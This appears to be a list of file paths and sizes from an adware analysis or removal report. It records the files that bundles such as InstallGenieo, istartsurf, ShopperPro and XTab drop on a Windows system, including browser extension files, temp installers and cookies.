    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\99QT4KLS.txt (325 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.4 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.5 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.6 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\ClientToMobilePlatform.exe.7 (5224 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\534C8HIK.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\Q8EJT39Z.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.6 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.5 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.4 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe (70607 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\X69MDHY3.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp (34243 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.2 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\a4ef7ad5ee844541a73265af1d50735c[1].htm (39849 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.1 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[3].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\87KFCWL6.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BD07.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3W1LRWM9.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.5 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[4].htm (1061 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\P5VHHAU8.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.7 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GN3DC1VY.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.2 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.3 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.0 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.1 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.7 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.4 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.3 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula-swiftrecord[1].htm (4337 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe.0 (2696 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe.6 (9352 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GU0Q02AD.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\M57STUK8.txt (775 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\2IOHYICJ.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\591e247a260e754da0a14c821f058054[1].htm (36030 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\3DS9K8NQ.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\J31DR7ZT.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\5VLW9NKP.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\PTC5CC9Q.txt (775 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\EDQYQA87.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\9QUJIG80.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\ZXR97TYA.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[3].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.5 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\F6JVKDT1.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\GUB14QYX.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\28HJE5HC.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.2 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.3 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.0 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.1 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.6 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.7 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\BF77.tmp.4 (4152 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[2].htm (1610 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\V1EDUDVM.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\HYIM1RV4.txt (779 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\tokyo_sprite_full[2].png (1276 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\eula[3].htm (1058 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\__utm[4].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\YGTXSA5V.txt (775 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Cookies\SC174T15.txt (777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\__utm[2].gif (35 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[3].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\pixgi (102 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj62E8.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nso63A4.tmp (9483 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj62E8.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[3].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[2].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\WebProtectPI[1].13 (8048 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsj5ED3.tmp (9483 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\WebProtectPI[1].13 (8048 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[6].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[5].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\pin[4].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5D8B.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsu5D8B.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\JUC72OXY\WebProtectPI[1].13 (8048 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\pin[1].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDF57.tmp\System.dll (23 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\D285HURO\pin[4].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyE0A0.tmp (9483 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsiDF57.tmp\inetc.dll (46 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6HVGFTJ0\pin[1].gif (34 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\GLB9730.tmp (144 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\WebDataJs (40 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\logo.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\loading.gif (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\js.js (660 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code1.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\xagainit.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\es-419\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\misc.js (11 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code2.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button1.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\it\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\3303.tmp (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\search.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\misc.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\zh-CN\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\32E2.tmp (113 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\properties.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\474.json (512 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox_select.png (783 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\MessageBox.xml (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\mostgrid.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\index.html (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code5.jpg (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\jquery-2.1.0.min.js (3312 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg1.png (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bk_shadow.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-CH\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\remoterequest.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\scrollbar.bmp (37 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome.manifest (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code4.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\ru-MO\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\default_logo.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code3.jpg (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\button.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\defaults\preferences\preferences.js (379 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-CA\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\code6.jpg (5 bytes)
    C:\Users\Public\Desktop\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\restoreprefs.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\speed_dial.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\min.png (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\it-CH\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\32E3.tmp (113 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\close.png (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\pl\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\googlelogo.png (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Google\Chrome\User Data\Default\3333.tmp (114 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checkbox.png (545 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-BE\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\google_trends.png (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\uninstallDlg2.xml (19 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\jquery.autocomplete.js (12 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\newtab.ico (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\urlrequestor.js (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\fr-LU\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\pt-BR\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\checked.png (222 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\last_tab.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\defaults\preferences\fvd.js (7 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\ru\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\icon.png (628 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\es\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Launch Internet Explorer Browser.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\bg.png (673 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\stat.js (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\popup_image_helper.js (693 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_light.png (139 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\ga.js (1552 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\quick_start.xul (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\aes.js (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\unchecked.png (135 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\lib\doT.min.js (3 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\module\hotSearch.js (6 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\quick_start.js (784 bytes)
    C:\Users\Public\Desktop\Google Chrome.lnk (2 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\addonmanager.js (531 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\en-US\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe (14022 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Google Chrome.lnk (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\code\Thumbs.db (42 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\vi\locale.properties (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\include\tools\about_blank_hook.js (2 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\loading_bg.png (159 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\modules\settings.js (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\images\Thumbs.db (27 bytes)
    %Program Files% (x86)\Mozilla Firefox\browser\searchplugins\istartsurf.xml (553 bytes)
    C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Mozilla Firefox.lnk (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\style.css (784 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\skin\simple.css (4 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\install.rdf (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\en\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\content\js\pack\common.js (10 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\tr\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\1430385806_xpi\chrome\locale\zh-TW\locale.properties (1 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\HDZ3KS6S\SMALLTEST[1].htm (70 bytes)
    %Program Files%\Common Files\ShopperPro\spbii64.exe (17848 bytes)
    %Program Files%\Common Files\ShopperPro\spbia.exe (11344 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\jsdrv.exe (100669 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.exe (33633 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\nsExec.dll (14 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsjCD8C.tmp (363960 bytes)
    %Program Files%\Common Files\ShopperPro\spbici32.dll (37025 bytes)
    %Program Files%\Common Files\ShopperPro\spbiw.sys (1552 bytes)
    %Program Files%\Common Files\ShopperPro\spbii32.exe (13368 bytes)
    %Program Files% (x86)\ShopperPro\Updater.exe (25112 bytes)
    %Program Files%\Common Files\ShopperPro\spbiu.exe (69777 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\nsProcess.dll (12 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\chrome.manifest (113 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.xul (203 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\AccDownload.dll (11659 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\System.dll (23 bytes)
    %Program Files% (x86)\ShopperPro\JSDriver\jsdrv.sys (1856 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\overlay.js (13 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro.dll (15168 bytes)
    C:\Users\Public\Documents\ShopperPro\JsDriver\Config.xml (1 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\install.rdf (828 bytes)
    %Program Files%\Common Files\ShopperPro\spbici64.dll (48241 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.json (11 bytes)
    %Program Files% (x86)\ShopperPro\SPRemove.exe (20416 bytes)
    %Program Files% (x86)\ShopperPro\ShopperPro64.dll (18424 bytes)
    %Program Files% (x86)\ShopperPro\database1_0_0.ej (14 bytes)
    %Program Files% (x86)\ShopperPro\manifest.json (595 bytes)
    %Program Files% (x86)\ShopperPro\FireFox\content\shopperpro_128.png (5 bytes)
    C:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsyCD9C.tmp\MoreInfo.dll (15 bytes)
    %Program Files% (x86)\XTab\conf (1480 bytes)
    %Program Files% (x86)\XTab\BrowerWatchFF.dll (24 bytes)
    %Program Files% (x86)\XTab\BrowerWatchCH.dll (24 bytes)
